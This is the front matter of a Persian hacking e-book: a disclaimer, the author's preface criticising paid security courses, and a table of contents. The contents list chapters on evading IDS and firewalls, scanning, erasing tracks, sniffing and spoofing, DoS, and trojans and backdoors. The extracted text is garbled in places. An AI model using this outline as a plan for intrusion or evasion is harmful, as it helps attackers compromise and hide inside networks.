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  !!شبکه   ضد امنیتمرجع کامل
  

  
  

Anti Security HandBook : Complete Reference 
  

  
  

درجات             )مير آشتيانی ايعنی خود خودم ،      ( اين جانب  ر استفاده نادرست از من ده             هيچگونه مسئوليتی در براب ه عه ر ب ه شده زي ارائ
 شبکه    در خودشان و اطلاعات   ان کاربران از  خودش مراقبت و  گيرد و مطالب نوشته شده فقط در جهت بالا بردن سطح آگاهی نمی

   !  داردو آموزشی  جنبه آکادميک  می باشد و منحصرا
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 به نام خداوند بخشنده و مهربان

  
  
  

  . مرجع کامل ضد امنيت شبکه : کتابنام +  
   . و نفوذگری در شبکه شبکه و امنيت شبکه،هک  : موضوع+  
  !  COM.NOAVAR@003ZXO  OR COM.GMAIL@003ZXO  !!دمخو : نويسنده+  
 .....و  ir.websecurity.blog://http و  com.blogfa.003zxo://http :وبلاگ نويسنده + 
 zip.SE-farsi-book-hack/00003zxo/com.sharemation.www://https :  کتاب لينک مستقيم برای دانلود+
  
  
  

آسمانيان پاک نهاد و قدسيان زمين به رهزنی کاروان . نفوذ گری در شبکه و رهزنی داده ها زیبنده بردگان خاک و پندارهای ناپاک است
این سلک چندان قلم دریغ و افسوس که در وصف . آنهایی که در هر نظرشان هزار نکته مضمر دارند. دل و نفوذ در قلوب مشغولند

  .نزدند و کتابی ننوشتند
  

  من به وسعت اندیشه و کرامت طبع خوانندگان فرهيخته
   بهره گيری صحيحایمان دارم و این اوراق ناچيز را به پاس 

  از مفاد و ابزارهای معرفی شده که البته تيغی است دو دم 
  .به خاکپای آنان تقدیم ميکنم

  
  

 مولفين و انون بر اساس قحقوقی و کيفری شکال پيگرد  به هرد و استفاده مادی از آن به هر نحو ورايگان ميباش% ١٠٠اين مقاله 
   . استXZO003 و تمام حقوق مادی و معنوی آن متعلق به نگارنده آن  داردمترجمين 

  
  

  )مصادف با جشن چهارشنبه صوری  (٢٨/١٢/١٣٨٣:  مقاله  اوليهتاریخ آغاز نگارش
  

  )مصادف با اربعين حسينی (١١/١/١٣٨۴:  مقاله  اوليهتاریخ پایان نگارش
  

  . ٢١/۵/١٣٨۴:  مقاله م دونگارششروع تاریخ 
  

  ) .مصادف با شروع ماه پر برکت رمضان  (١٣/٧/١٣٨۴ : تاریخ پایان نگارش دوم مقاله 
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  : بر نگارش مقاله  خودم بر خودمهمقدم
  

شاید علت اصلی  . بار آن هم در این شرایط تصميم گرفتم سکوت خود را بشکنم          دومينی  واقعاً نمی دانم که چرا بعد از این همه مدت  برا           
ردنم  این بود که به شدت از آینده خودم ميترسيدم و برای سرگرم کردن خودم دست به نوشتن این مقاله زدم و شاید                  هم انجام دینی که به گ

  . دارم
  

صميم            اما دليل ننوشتن مطالب آموزشی در این باره تا به ا           ه ت زی جزء  عدم نتيجه گری و البت ین لحظه را به یقين ميشود گفت و آن چي
نم از نظر                          ه من ميک اری ک ان      گيری درباره مقوله شرعی این مطلب در پيش خودم است؛ که آیا این ک د بخشنده و مهرب اه و      خداون ا گن  آی

ه  معصيت است یا راه صواب و پاداش ؛ دیگر واقعاً من در این باره سرگردان               شده ام ، زبانم در توصيف این مطلب بسيار ناتوان است ب
  .  می آورم که به احوالات من بسيار نزدیک استات بعدیحصفهمين خاطر نوشته عين القضات همدانی را در 

  
ن ح                        ) البته اميدوارم   ( خوب همانطور بالا خواندید      ا ای ی ب نا شدید ، ول اره   حتما تا حدودی با اندیشه و شيوه تفکر من آش از درب ال ب

  .خودم توضيح ميدهم تا بيشتر با هم آشنا شویم 
  

ه          )باشم .... که کلاه خاکستری یا سفيد یا مشکی یا  ( من نه هکرم   • ه برنام ه متخصص امنيت شبکه ، ن ه متخصص شبکه ، ن  ن
ين   نویس ، نه کرکر و نه هيچ چيز دیگری ، من فقط یک عاشق و علاقه من موضوعات مرتبت با مقوله امني                 ت شبکه هستم هم

  !!بس نه چيزی کمتر و نه چيزی بيشتر 
  

اميدوارم شما هم (  برایم این کارها ارزشی ندارد نکرده ام و نخواهم کرد چون Deificرا ... من تا به حال هيچ سایت وبلاگ و   •
 .) به اینگونه درجات برسيد 

  
  ...و  •

  
ه خشک خالی آموزش امني                ه       ... ت شبکه و  من تا به حال در هيچ جایی یک مقال ن ک ا ای ودم ت م ننوشته ب ا    ... ه اجرا ه د از ان م بع

شروع کردم به نوشتن مقاله و انگيزه ام و نيت و قصدم فقط یک چيز بود و ان هم افزایش سطح آگاهی مدیران شبکه و کلا تمام کاربران 
، اما دلایل دیگری هم بود که ذکر می کنم البته بسيار      یا به عبارت دیگر ادای دینی که به جامعه امنيت شبکه ، کشورم داشتم ؛ همين بس                  

  .دردناک و رنج آور که فکر ميکنم شما بعد از خواندن این مقدمه به من حق بدهيد 
  

ه              ) و فارسی   ( آیا تا بحال ليست سایت های ایرانی         که در مورد مقوله امنيت شبکه فعاليت می کنند را دیده اید ؟ خوب اگر دیده اید ک
مراجعه کنيد و ببينيد ؛ حتما بعد از مشاهده آن ليست که به نظر بنده کامل                 ) ir.fata.www://http( ی اگر ندیده اید به سایت فتا        باشد ول 

غ و تبلي                              غ و تبلي ار ؛  تبلي ا ک ه      ترین هم هست با من هم عقيده ميشوید که اکثر آنها فقط به پول فکر ميکنند ت رای برنام وچ ب رای هيچ پ غ ب
اربرد و                         ع خاص و تک ک دهم         . هستند   ... های که هيچ ارزشی ندارند و فقط برای کار در شرایط خاص و مواق ا حق مي ه آنه ه من ب البت

  .....چون 
  

ورد بررس                  رار  اما بحثی که من اینجا دارم چيزی دردناک تر و آزار دهنده تر است برای روشن شدن موضوع  یک سایت را م ی ق
  ميدهم تا به بقيه تعميم بدهيم ؛

  
 به شما مجوز های دسترسی در سطوح مختلف را         !!!!!!!! دريافت مبالغ هنگفت  حتما سایت آشيانه را دیده اید  سایتی که در قبال            

د ؟ من می                                 ه دست می آورن زی ب ا چه چي د ، ام تفاده می کنن م عده ای از ان اس ا ه د حتم ویم هيچ   به سایت به شما ارائه ميده ط  !! گ فق
ه رخ یک دیگر ميکشند                ،ابزارهایی که شرح آنها را بالا آوردم و        رده و شرح موفقيت خود را ب . عده ایی هم با آب تاب از ان استفاده ک

ردیم                 ( شاهده ک زار م ا معرفی دو اب اه سال گذشته ب وارد اصلا    ٩٩٫٩٩٩، جالب ان است در   ) نمونه ان را در اواخر اسفند م  در صد م
د    !!  نميداند این وسيله چگونه کار ميکند     شخص ار ميکن ن یک      !! و اصلا  پایگاه مورد حمله اش کيست و چيست و چه ک ه نظر من ای ب

ه است  يم !! فاجع ده باش م عقي دوارم ه روز ! امي ایت ک اره س وعی دیگر در ب ه ن تان ب ن داس ای (ای ارت ه رار دان شماره ک ار ق در اختي
  .هم مصداق دارد...... و سایت !!) !اصلا یعنی چه !!!! اعتباری 

  
در اصل چيز خوبی است و من موافق هستم . اما مسئله بعد وجود یک سری آموزشها بود که در اکثر سایتها ما با آن مواجه ميشویم     

دیریت  e-mailولی دوست دارم به سر فصلهای آموزش هم مراجعه کنيد و آنها را مورد بررسی قرار دهيد آنگاه یک      رای م  ان سایت   ب
هم بکنيد  ) البته اگر وجود داشته باشد      ( بفرستيد و ریز جزئيات آموزش را بگيرید و یک در خواست بازدید از لابراتوار آنها                ) شرکت  ( 

اهی و                        ه علت عدم آگ ه ب سانی ک ه هستند ک دارد ، البت . ..بعد از همه اینها با قيمت ارائه شده یک مقایسه بکنيد ، باور کنيد اصلا ارزش ن
ه          ( ... همين را هم غنيمت ميشمارند و با خوشحالی قبول ميکنند و تازه     رد ک يانه اشاره ک ان سایت آش ه هم وان ب اره ميت نمونه دیگر، دوب

د عکسهایی                      رده است شما ميتواني زاری یک سری دوره ک ه معرفی                   !! اخير اقدام به برگ ه ب ه جای آن ک د ، ب ا را ببيني وار آنه از لابرات
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انيتور          ...  سخت افزاری و یا روتر و سویيچ و دیواره آتش سخت افزاری و               IDS قبيل   سيستم های از   ودن و داشتن م بپردازند به شيک ب
LCD      را در .... ویدیو پرجکتور که قابليت متصل شدن به رایانه را دارد  و   دیتا  آن محيط و کف سراميک و یک        !!!!!  و پرده دار بودن

  !!!!!!!! )!!!!!!!!عکس ها نمایش داده اند 
  

اد            گونه  راستی اگر عده ای فقط به خاطر لابراتوار به این            مراکز مراجعه ميکنند باید به آنها بگویم برنامه های بسياری برای ایج
رازر خواهم                  یک شبکه مجازی و انجام آزمایش های وجود دارد         ل ق  که در فصول مربوطه آنها را معرفی و مورد تجزیه و تحلي

نم    ( ....با سيستم های پنتيوم قدیمی و     هزار تومان ميتوانيد یک شبکه کاری مناسيلب ایجاد کنيد           ٢٠٠ و یا حتی شما      داد فکر ميک
  ) مناسب برای کار های خود تهيه کنيد ٣٨۶ هزار تومان ميتوانيد یک ٧٠الان با 

  
ه ام از دوس                    اد گرفت اب  این برای من بسيار دردناک است شما را نميدانم ولی من هر آنچه که ی ارت      ( تان ناب ه عب ا ب اب و ی ان نای هم

اب  وده است و) دیگر کت سخه ( ب ين ن ی ب رایم فرق ه ب ست E-BOOKالبت اپی ني سخه چ ا ن ای )  ب ه ه د از ان از اینترنت و مقال ه بع البت
  .آموزشی آن 

   
ه حقيق                   یک مثال می زنم      د ب رد ؛       شاید در نگاه اول ابلهانه به نظر برسد اما اگر با ژرف نگری نگاه کني د ب ی خواهي سر  ت مطلب پ پ

ه نظر شما                % ٧٠بچه ایی به کلاس اول ميرود البته مثل          د خوب ب بچه ها به مدرسه دولتی و شروع به یاد گرفتن خواندن و نوشتن ميکن
ا وضعيت آموزش مباحث           !!! اگر معلم به خاطر این آموزش درخواست پول کند چه طور است                 ن دقيق ا   "امنيت شبکه   "ای در کشور م

م                         . ستا رفتن ه اد گ رای ی شخص ، مشابه آن پسر بچه که به مدرسه ميرود و هزینه ميکند به اینترنت وصل ميشود و هزینه ميکند حال ب
ه های مربوطه را نوشته               ! باید پول بدهد ؟    رین سطح ، خود برنام ایين ت م در پ د و ان ه آیا ان شخصی که پول می گيرد و آموزش ميده

یا خود بهای !! )  را که ننوشته است ی مورد استفاده و آموزش داده شده نامه ای نوشته است باز تمام برنامه هایا اگر گيرم هم بر( است 
الات اشخاص دیگری را     ست بلکه مق ه ني ن گون ن مقطع ای م در ای را ه ه اکث رده است ، ک ه است پرداخت ک اد گرفت ه ی رای مطالب ک ب

ازار          !!!!! ميکند برداشته و خوانده است و آنها را دارد تدریس    ستان ب ا شروع فصل تاب فانه ب دم متاس ه دی این ها را به خاطر این گفت ک
 ، چند وقت   ماه تاخير پا بدنای شبکه نهاد٣ هر چند این کتاب برای اول تابستان آماده نشد و با  داغ است"لجن وار و گونه   "ی  این کارها 

نم                         پيش که به خاطر کاری به یکی از مراکز استانها سفر ک            ه ت زرگ برخوردم ک ه ب ه یک فاجع د از یک مرکز ب رای بازدی رده بودم و ب
زاری   ....... لرزید و ان هم این بود که مرکز آموزشی که حتی در کشور هم معروف است بله در کشور یکی از واحد های             ه برگ اقدام ب

يش                    دوره های امنيت شبکه کرده بود و در آنجا با دریافت مبالغ بسيار زیاد مقالا               د سال پ ه چن ن دیگر را ک د ت ای آراز صمدی و چن ت آق
د از                              ه طرف فکر ميکرد بع د ک اره ان حرف ميزدن اب در ب ا آب ت ان ب م آنچن ر از ه نوشته شده بود را داشتن تدریس ميکردند و جالب ت

  ....من فقط سکوت کردم ولی در دلم غوغای بود !! پایان دوره هکر از مرکز خارج ميشود 
  
ه                         همه ميداني  • م مقالات آقای آراز صمدی در آن سالها قدیم جزء بهترین ها بود ولی نه کامل ترین ها ولی برای آشنای با این مقول

شاءاالله در               !! مقالات آقای صمدی فوق العاده خوب هستند         البته این جانب برای آقای آراز صمدی احترام خاصی قایل هستم و ان
الها                .  باشند هر کجا و در هر کاری هستند موفق پيروز         وده و از س باز هم همانگونه که همه ميدانيم مقالات مورد بحث رایگان ب

  .ری ي قابل بار گcom.30far.wwwپيش تا به حال از آدرس 
  

ه از نظر من هيچ اطلاعی درب                       اره امنيت شبکه نداشت و    چند وقت پيش در یکی از سمينارها بودم خيلی جالب بود ، سخن ران ک
  ....اما ..... ميخواستم " دنيای زیر زمينی هکرها : " فقط با واژه ها بازی می کرد و البته پشت سر هم می گفت 

  
م جمع شد در           دا ه ه بع ود ک يش ب یادم می اید اولين برا که این واژه را دیدم در روزنامه جام جم و ستونی به همين نام در چند سال پ

رای ان               آنجا آقا  ن اسم ب نم ای ه من فکر ميک رار داشت البت ی خراسانی مطالبی در این باب می گفتند که در آن موقع از سطح متوسطی  ق
بود ، اگر به دقت به اطراف خود نگاه کنيد می بينيد کسانی که در اطراف شما هستند و خود               ... ستون به خاطر مسائل روزنامه نگاری و      

تباه     ..... هند اکثرا همان هکرها هستند و را در لباس دوست نشان ميد      املا اش ره ک د و غي پس این مطلب که هکر ها دنيای زیر زمينی دارن
ر                   د ب ه سادگی نمی گذرن اقی ب ز و هر اتف د و از هر چي است آنها هم مثل شما در وب ميگردند و بازی ميکنند ولی چشمان تيز بينی دارن

  !!!خلاف شما 
  :به قول سهراب 

  را باید شستچشمها           
  جور دیگری باید دید                 

  
تن دارم           ( خوب دیگر در این باب چيزی نمی گویم          ه         ) با اینکه هنوز یک دنيا حرف برای گف ن جانب شروع ب ه ای ن ک ی علت ای ول

ه                           ل است ک ه ان دلي ن   زب نگارش مقاله کردم آن دلایلی است که در بالا ذکر کردم ولی اگر تا به حال چيزی ننوشته ام ب انم در توصيف ای
وان      پراگراف بعدی مطلب بسيار ناتوان است به همين خاطر نوشته عين القضات همدانی را در               ا عن آورده ام   " !چه نويـسم؟  "  ب

   .که به احوالات من بسيار نزدیک است
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د   اميدوارم مقالات من مورد رضایت شما دوستان و عاشقان قرار گيرد و راه گشا باشد و سطح دید شما را                  زایش ده اجمی     اف ه حس ته  ن
ی و نگارشی و      !!شما را   تباهات املای ر از اش م و پ ...  البته همانگونه که هميشه گفتم در مقالات من گسيختگی مطلب بسيار و شيوایی ک

  .، علت این هم دست تنها بودن من بوده است  ببخشيد شما بزرگوارن مرااست ، که اميدوارم 
  
  

ری  ر نظ ی اگ ادو عمل اری  ی ، انتق ده ای ، ابتک ده ای ، ای ی ، عقي شنهادی ، طرح ه آدرس  ... و ، پي د ب ی تواني تيد م داش
com.Gmail@003ZXO بفرستيد خوشحال می شوم  .  

  
.به اميد موفقيت شما دوستان در تمام مراحل زندگی تان   
 

ZXO003 
 

 !چه نويسم؟
 

داری دلم خوش نيست و بيشتر آنچه در اين روزها نبشتم همه آن است کـه يقـين نـدانم کـه                      هر چه می نويسم پن    
 .نبشتنش بهتر است يا نا نبشتنش

و نبايد که در بحری افکـنم خـود را کـه            ... نه هرچه درست است و صواب بود،روا بود که بگويند         ! ای دوست 
 .م بر آن پشيمان باشم و رنجورآي» خود«که چون وا» خود«ساحلش پديد نبود،و چيزها نويسم بی

 ...از مکر سرنوشت...و جای ترس دارد...ميترسمای دوست 
 حقا و به حرمت دوستی،که نميدانم که اين که مينويسم راه سعادت است که ميروم يا راه شقاوت؟

 طاعت است يا معصيت؟و حقا،که نميدانم که اين که نبشتم 
 ! خلاصی يافتمیکاشکی که يک بارگی نادان شدمی تا از خود

 !چون در حرکت و سکون چيزی نويسم،رنجور شوم از آن به غايت
 ;و چون در معاملت راه خدا چيزی نويسم،هم رنجور شوم

 چون احوال عاشقان نويسم نشايد،
 چون احوال عاقلان نويسم،هم نشايد،

 و هرچه نويسم،هم نشايد،
 و اگر هيچ ننويسم هم نشايد،

 و اگر گويم نشايد،
 خاموش گردم هم نشايد،و اگر 

 ...و اگر اين وا گويم نشايد و اگر  وا نگويم هم نشايد
 !و اگر خاموش شوم هم نشايد                                                          ...
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  :فهرست 
 

 .مقدمه مقاله  
 

  .)پيش نياز  (  TCP/IPمعرفی کوتاه پروتکل   : فصل اول 
 

  .TCP/IPی اجمالی بر معماری مرور 
 آدرس دهی و ماسک زیر شبکه  
 .  و آدرس های خاص و آدرس های ثبت نشده  IPکلاسهای آدرس  
  .TCP/IPدرگاه ها و سکوت ها و نامگذاری در  
   :TCP/IPپروتکلهای  

 
  .SLIPپروتکل  
  .PPPپروتکل  
  .ARP  پروتکل 
  .IP  پروتکل 
  .IPv6  پروتکل 
  .ICMP  پروتکل 
  .UDP  پروتکل 
  .TCP  پروتکل 

 
 . و جزئيات کار آن HTTPمعرفی پروتکل   :فصل دوم  

  
 وب سرویس چيست ؟ 
 HTTP.  
  .SSHمقدمه ای بر  
  .Domainدرباره  
  .Hostingدرباره  
  IIS6.0 با IIS5.0مقایسه  
  .IISنصب و پيکر بندی  
 .پنهان سازی سرور های وب برای افزایش ایمنی  
 .به صورت ساده جعل هویت در وب  
  !!One-Way Hackingآموزش متد  

 
 . و جزئيات کار آن FTPمعرفی پروتکل  :فصل سوم  

  
 .مرور و آشنای با این پروتکل  
 .معرفی دستورات این پروتکل  
  .FTP راه ایمن سازی سرویس های ١٠ 

 
 .و شبکه Windows سيستم عامل   مبنیمروری بر: فصل چهارم  

  
 .مبانی ویندوز و شبکه  
 .وظایف سيستم عامل  
  .٢٠٠٠امکانات ویندوز  
 .مبانی شبکه های کامپيوتری  

  
 .مزایای شبکه  
 .نقش رایانه ها در شبکه  
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 .انواع شبکه  
 .سيستم عامل های شبکه  

 
 .ویژگی های سيستم عامل شبکه  

 
 .٢٠٠٠پياده سازی شبکه در ویندوز  
 .شبکه اترنت  
 .شبکه های محلی و شبکه های گسترده  
 .سيم بندی شبکه تق 
  .توپولوژی های رایج در شبکه 

  
  .BUSتوپولوژی  
  .STARتوپولوژی  
  .RINGتوپولوژی  

 
 .تقسيم بندی بر اساس حوزه جغرافيای تحت پوشش  

  
  .LANشبکه های  
  .WANشبکه های  
  .MANشبکه های  

 
  .OSIمروری بر  
  .TCP/IPمروری بر  
 .امکانات شبکه ای ویندوز  

  
 .طات امکانات ارتبا 
 .امکانات سرویس دهی  
 .امکانات امنيتی  

 
 .دستورات کار با فایل ها و فولدر ها در خط فرمان ویندوز 
 .پسوند فایل ها و مفاهيم آنها  
 .اکانت ها و گروه ها  
  .NTFSانواع مجوز ها در  
 Share ها در ویندوز سرور . 
 .سرویس ها در ویندوز سرور  
 .کار با سرویس ها  
 DSLچيست ؟  

 
  .Linuxمروری بر سيستم عامل خانواده   : پنجمصل ف 

  
 .مقدمه  
 .تعریف نرم افزار آزاد  
 .تاریخچه لينوکس  
 .کاربرد های لينوکس  
 .انواع توزیع های لينوکس  
 .آشنای با نسخ مختلف لينوکس  
 .مقدمات برای شروع به نصب  
 .آموزش نصب مصور لينوکس  
 . و لينوکس Free BSDیک مقایسه اجمالی بين ویندوز ،  
 .ساختار فایل ها در لينوکس   
 ) .مقدمه  ( Shellمباحثی پيرامون  
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  .Shellبرنامه نویسی  
 .پوسته فرمان و مطالبی پيرامون آن  
 .برسی دایرکتوری ها و مجوز های آن  
 . و برنامه نویسی آن Shellمباحث تکميلی پيرامون  
  .Pipمباحث تکميلی پيرامون  
  .تنظيمات اعلام فرمان 
 .مباحث تکميلی پيرامون سيستم فایل لينوکس  
 .مباحث تکميلی پيرامون مجوز ها در لينوکس  
 .  در لينوکس و جزیيات آن Win Modemنصب  
 .آموزش اتصال به اینترنت  
 .آموزش نصب برنامه ها از روی کد منبع آن ها  
 ..آموزش راه اندازی شبکه در لينوکس و  
 !!آموزش امن کردن لينوکس  
 Ubuntuوزش کامل لينوکس آم 

 
 .Honey Potمعرفی  و راه های فرار از دست آنها و  هاIDSمعرفی انواع  :فصل ششم  

  
 !!مروری کلی  
 . ها IDSانواع  

  
 N-IDS.  
 H-IDS.  
 .کدام نوع بهتر است  

 
  .IDSنصب و تنظيم  

  
  .IDSتعریف اهداف  
 .انتخاب آنچه باید تحت نظارت قرار گيرد  
 .کنش انتخاب نحوه وا 
 .تنظيم حدود آستانه  
 .پياده سازی سيستم  

 
  .IDSمدیریت  

  
 . قادر به بيان است IDSدرک آنچه  
 . به شما  ميگوید IDSدر که آنچه  
 .بررسی وقایع مشکوک  

  
  .IDSراه های فرار از دست   
 Honeypot ها . 

  
 . ها Fir wallمعرفی انواع  :فصل هفتم  

  
 توپولوژی فایروال ها  
 Statefulيست  ؟ چ 
 Proxy Server؟  
 شرح کامل بر دیوار های آتش 
 فایروال ها در لينوکس  
 !! در لينوکس IPtablesآموزش کامل  
 .فایروال های سيسکو  
 .مقدمه ای بر رمز نگاری  
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 !!راه های فرار از دست فایروال ها  
  

  . و اهداف آنانواع حملات به ماشينهای شبکه  : هشتمفصل  
 

 .ارزش تجاری امنيت  
 زیر ساخت های امنيتی مدرن در شبکه اینترنت 
 .معرفی انواع حملات رایج در شبکه به صورت فهرست وار 
 .معرفی انواع حملات به صورت تفصيلی  

 
 .تعویض اطلاعات  
 .اضافه کردن اطلاعات 
 .حذف اطلاعات  
 ....و  

 
 .جمع آموری اطلاعات اوليه از هدف   : نهمفصل  

  
 .روش مخ ترکانی  
 .ب جستجو در و 
  .DNSاستفاده از  
 :معرفی برنامه های مربوطه  

  
  .Sam Spadeمعرفی و آموزش  
  .NET Infoمعرفی و آموزش  
  .W-SPing Pro Packمعرفی و آموزش  
  .Rhino 9 Pingerمعرفی و آموزش  
  .Visual Routeمعرفی و آموزش  
  .Necrofoftمعرفی و آموزش  

 
 .نقشه برداری گرافيکی از شبکه هدف  

 
 .  پویش پورت ها : دهمل فص 

 
 .انواع شيوه و متد های جستجوی پورت  

 
  .Polite Scanپویش مودبانه  
  .TCP SYS Scanپویش مخفيانه  
 .پویش به روش نقض اصول پروتکل  

  
 TCP FIN SCAN.  
 NULL SCAN.  
 X MAS TREE.   

 
  .TCP Ack Scanپویش به روش  
  .FTP Bounce Scanپویش به روش  

  
   . UDPای پویش پورته 
  .Nmapمعرفی و آموزش کامل  
  .Net Scan Toolsمعرفی و آموزش  
  .Super Scanمعرفی و آموزش  
  .IpEyeمعرفی و آموزش  
  .FScanمعرفی و آموزش  
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  .UDP Domain Scanمعرفی و آموزش  
 .  پویش نقاط آسيب پذیری : يازدهمفصل  

  
  .Nessusآموزش و معرفی ابزار  
  .X-Scan آموزش و معرفی ابزار 
  .NEWT Security Scanner (Nessus For Windows)آموزش و معرفی ابزار  
  .Nessusآموزش نصب برنامه  
  .Retinaآموزش و معرفی ابزار  
  .ISSآموزش و معرفی ابزار  
 .معرفی قالبهای شماره  گزاری حفره های امنيتی  

  
 CVE و CAN.  
 BID یا Bug Traq.  
 CA یا CERT.  
 XF.  

  
 . و آموزش ابزارهای حمله به سرویس دهنده وب معرفی 

  
  .Whiskerآموزش و معرفی ابزار  
  .N-Stealthآموزش و معرفی ابزار  

  
 .تجزیه و تحليل نتایج و انتخاب نوع حمله  

 
 .مخفی ماندن و پاک کردن رد پاها   : دوازدهمفصل  

  
 ...پاک کردن رد پا ها در ویندوز و  

 
 ...کس و پاک کردن رد پا ها در لينو 

  
 ).Sniff(  استراق سمع : سيزدهمفصل  

  
 .مقدمه بر استراق سمع  

 
 .استراق سمع از هاب  

  
  . Snortمعرفی و آموزش  
  .Sniffitمعرفی و آموزش  
  .TCPDumap & WinDumpمعرفی و آموزش کامل  
   .ButtSnifferمعرفی و آموزش  

 
 .استراق سمع از سویيچ  

  
  .DSNIFFمعرفی مجموعه  
  .ARP spoof و آموزش معرفی 
  .DNS spoofمعرفی و آموزش  
  .DSNIFFآموزش کامل  
  .File Snarfمعرفی و آموزش  
  .Macofمعرفی و آموزش  
  .Mail Snarfمعرفی و آموزش  
  .Msg Snafمعرفی و آموزش  
  .TCP KILLمعرفی و آموزش  
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  .TCP NICEمعرفی و آموزش  
 

  .SSH و https و SSLاستراق سمع از  
  

  .URL Snarfرفی و آموزش مع 
  .Web Mitmمعرفی و آموزش  
  .Web Spyمعرفی و آموزش  

  
 .ه  در یک شبک Packet Sniffingتشخيص  
 !! خود را عوض کنيم IPچگونه  
 !دزدی هویت  

  
 

   ) .DDOS و DOS(   حمله برای جلوگيری از سرویس دهی : چهاردهمفصل  
 

 .مقدمه و معرفی  
  .DOSانواع حملات  
 . انواع حملات تشریح 
 ...و  

 
 .اسب های تروا و درهای پشتی   : پانزدهم فصل  

  
 .مقدمه  
 Root Kitچيست ؟  
  .VNCمعرفی و آموزش  
  .Net Busمعرفی و آموزش   
  .Back Orificeمعرفی و آموزش  
  .SUB7معرفی  
  .Lokiمعرفی و ابزار  
  .STCP Shellمعرفی ابزار  
 Cover-TCPمعرفی و آموزش ابزار  
 Reverse WWW Shell : HTTPرفی ابزار مع 
  .Knarkآموزش  و معرفی کامل ابزار   
 Remote Desktopنحوه استفاده از  
 HyperTerminalآموزش  

  
  Cisco  همه چيز درباره : شانزدهمفصل  

 
   هک شبکه های بيسيم : !!ده + هفتم فصل  

  
 .وز آموزش دستور های  مربوط به شبکه در داخل ویند: فصل هيجدهم  

  
  .NETآموزش و معرفی دستورهای  

  
 Net accountsمعرفی دستور  
 Net computerمعرفی دستور  
 Net configمعرفی دستور  
 Net continueمعرفی دستور  
 Net diagمعرفی دستور  
 Net fileمعرفی دستور  
 Net groupمعرفی دستور  
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 Net helpمعرفی دستور  
 Net helpmsgمعرفی دستور  
 Net initمعرفی دستور  
 Net localgroupمعرفی دستور  
 Net nameمعرفی دستور  
 Net logoffمعرفی دستور  
 Net logonمعرفی دستور  
 Net passwordمعرفی دستور  
 Net pauseمعرفی دستور  
 Net printمعرفی دستور  
 Net sendمعرفی دستور  
 Net sessionمعرفی دستور  
 Net shareمعرفی دستور  
 Net startمعرفی دستور  
 Net statisticsمعرفی دستور  
 Net stopمعرفی دستور  
 Net timeمعرفی دستور  
 Net useمعرفی دستور  
 Net userمعرفی دستور  
 Net verمعرفی دستور  
 Net viewمعرفی دستور  

 
  .Pingآموزش و معرفی دستور  
  .Tracertآموزش و معرفی دستور  
  .Telnetآموزش و معرفی دستور  
  .Routeستور آموزش و معرفی د 
  .Netstatآموزش و معرفی دستور  
  .Ipconfigآموزش و معرفی دستور  
  .Nbtstatآموزش و معرفی دستور  
  .Getmacآموزش و معرفی دستور  
  .ARPآموزش و معرفی دستور  

  
  

 .آموزش و معرفی ابزارهای برای ویندوز : فصل نوزدهم  
  

  NULL CONNECTIONمعرفی اصطلاح  
 Dump SEابزار آموزش و معرفی  
  .SID 2 USER و USER 2 SIDآموزش و معرفی ابزار  
  .Net Bios Auditing  با نام کامل NATآموزش و معرفی ابزار  
  .SMB Grindآموزش و معرفی ابزار  
  .Somarsoft Dump Regآموزش و معرفی ابزار  
  .Fportآموزش و معرفی ابزار  
  .Loggedonآموزش و معرفی ابزار  
  .NT Last معرفی ابزار آموزش و 

 
  .NT Resource Kitآموزش و معرفی ابزارهای : فصل بيستم  

  
  .Dump Event Log با نام کامل DumpELآموزش و معرفی ابزار  
  .NLTESTآموزش و معرفی ابزار   
  .EDUMPآموزش و معرفی ابزار  
  .USRSTATآموزش و معرفی ابزار  
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  .Local Administratorsآموزش و معرفی ابزار  
  .GLOBALآموزش و معرفی ابزار  
  .SRVCHECKآموزش و معرفی ابزار  
  .SRVInfoآموزش و معرفی ابزار  
  .AUDITPOLآموزش و معرفی ابزار  
  .Sonarsoft Dump Regآموزش و معرفی ابزار  
  .Reg Dumpآموزش و معرفی ابزار  
  .Remoteآموزش و معرفی ابزار  
  .SCآموزش و معرفی ابزار  
  .ATآموزش و معرفی ابزار  
  .Killآموزش و معرفی ابزار  

  
 

 .آموزش برنامه نویسی : فصل بيست يکم  
  

   .#Cآموزش زبان برنامه نویسی  
  

 .مقدمه  
  .#Cتعریف متغير ها در  
  .Name Spacesآشنای با فضا های نام  
 .کلاس ها  
 .ساختار های تصميم گيری  
  .#Cآرایه ها در  
  .#Cحلقه ها در  

  
  .forاستفاده از حلقه  
  .whileاستفاده از حلقه  
  .doاستفاده از حلقه  
  .foreachاستفاده از حلقه  

 
 .نکات تکميلی درباره حلقه ها  
  .#Cتعریف متد ها در  

  
  .voidتابع  
  .ا آنه از استفاده ی نحوه و برنامه دیگر های کلاس در توابع تعریف 

 
 .دریافت چند خروجی از یک تابع  

  
  .outاده از کلمه استف 
  .refاستفاده از کلمه  
  .نا معلوم آرگومان های تعداد با  تابع 
  .overloadingمبحث  

 
 .استفاده از آرایه های چند بعدی  
 Jagged Arrays.  

  
  .System Arrayاستفاده از  

  
 .بررسی دقيقتر مبحث شی گرای  

  
   .usingاستفاده از  
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 ١٦    صفحه

 
  .#Cکلاس ها در  
  .)Indexers(مبحث ایندکسر ها   
 ) .Inheritance(ارث بری  
 ) .Polymorphism(پلی مرفيسم  

  
  .ایجاد متد های پلی مرفيک  

 
  .abstractکلاس های  
  .#Cمقابله با خطاها در  
 سر بار گذاری عمل گر ها 
 Delegates.  
 Delegates and Events.  
 .مباحث تکميلی در باره ثبت رخداد ها  
  .#Cاپلت های  

 
   .Cمه نویسی تحت شبکه اینترنت با زبان برنامه نویسی آموزش برنا 

  
 .مقدمه  
 .انواع سوکت ها و مفاهيم آن ها  
 .مشتری / مفهوم سرویس دهنده  
 .ساختمان داده های مورد نياز در برنامه نویسی  مبتنی بر سوکت  
 .مشکلات ماشين ها از لحاظ ذخيره سازی کلمات در حافظه  

  
 .درس  در فيلد آIPتنظيم آدرس  

  
  .TCPتوابع مورد استفاده در برنامه سرویس دهنده مبتنی بر  

  
 socketتابع  
  .bindتابع  
  .Listenتابع  
  .acceptتابع  
  .recv و تابع sendتابع  
  .shutdown و closeتوابع  
   

 
  .TCPتوابع مورد استفاده در برنامه مشتری مبتنی بر  

  
 .connect تابع 
 . با سوکت های دیتا گرام UDPارسال و دریافت به روش  

 
 .توابع مفيد در برنامه نویسی شبکه  

  
  .getpeernameتابع  
  . gethostnameتابع  
 . در ترجمه آدرس های حوزه DNSبه کار گيری  

 
 .برنامه های نمونه  

  
  .استریم سوکت های بر  مبتنیTCP روش به اطلاعات مبادله ازمثالی  
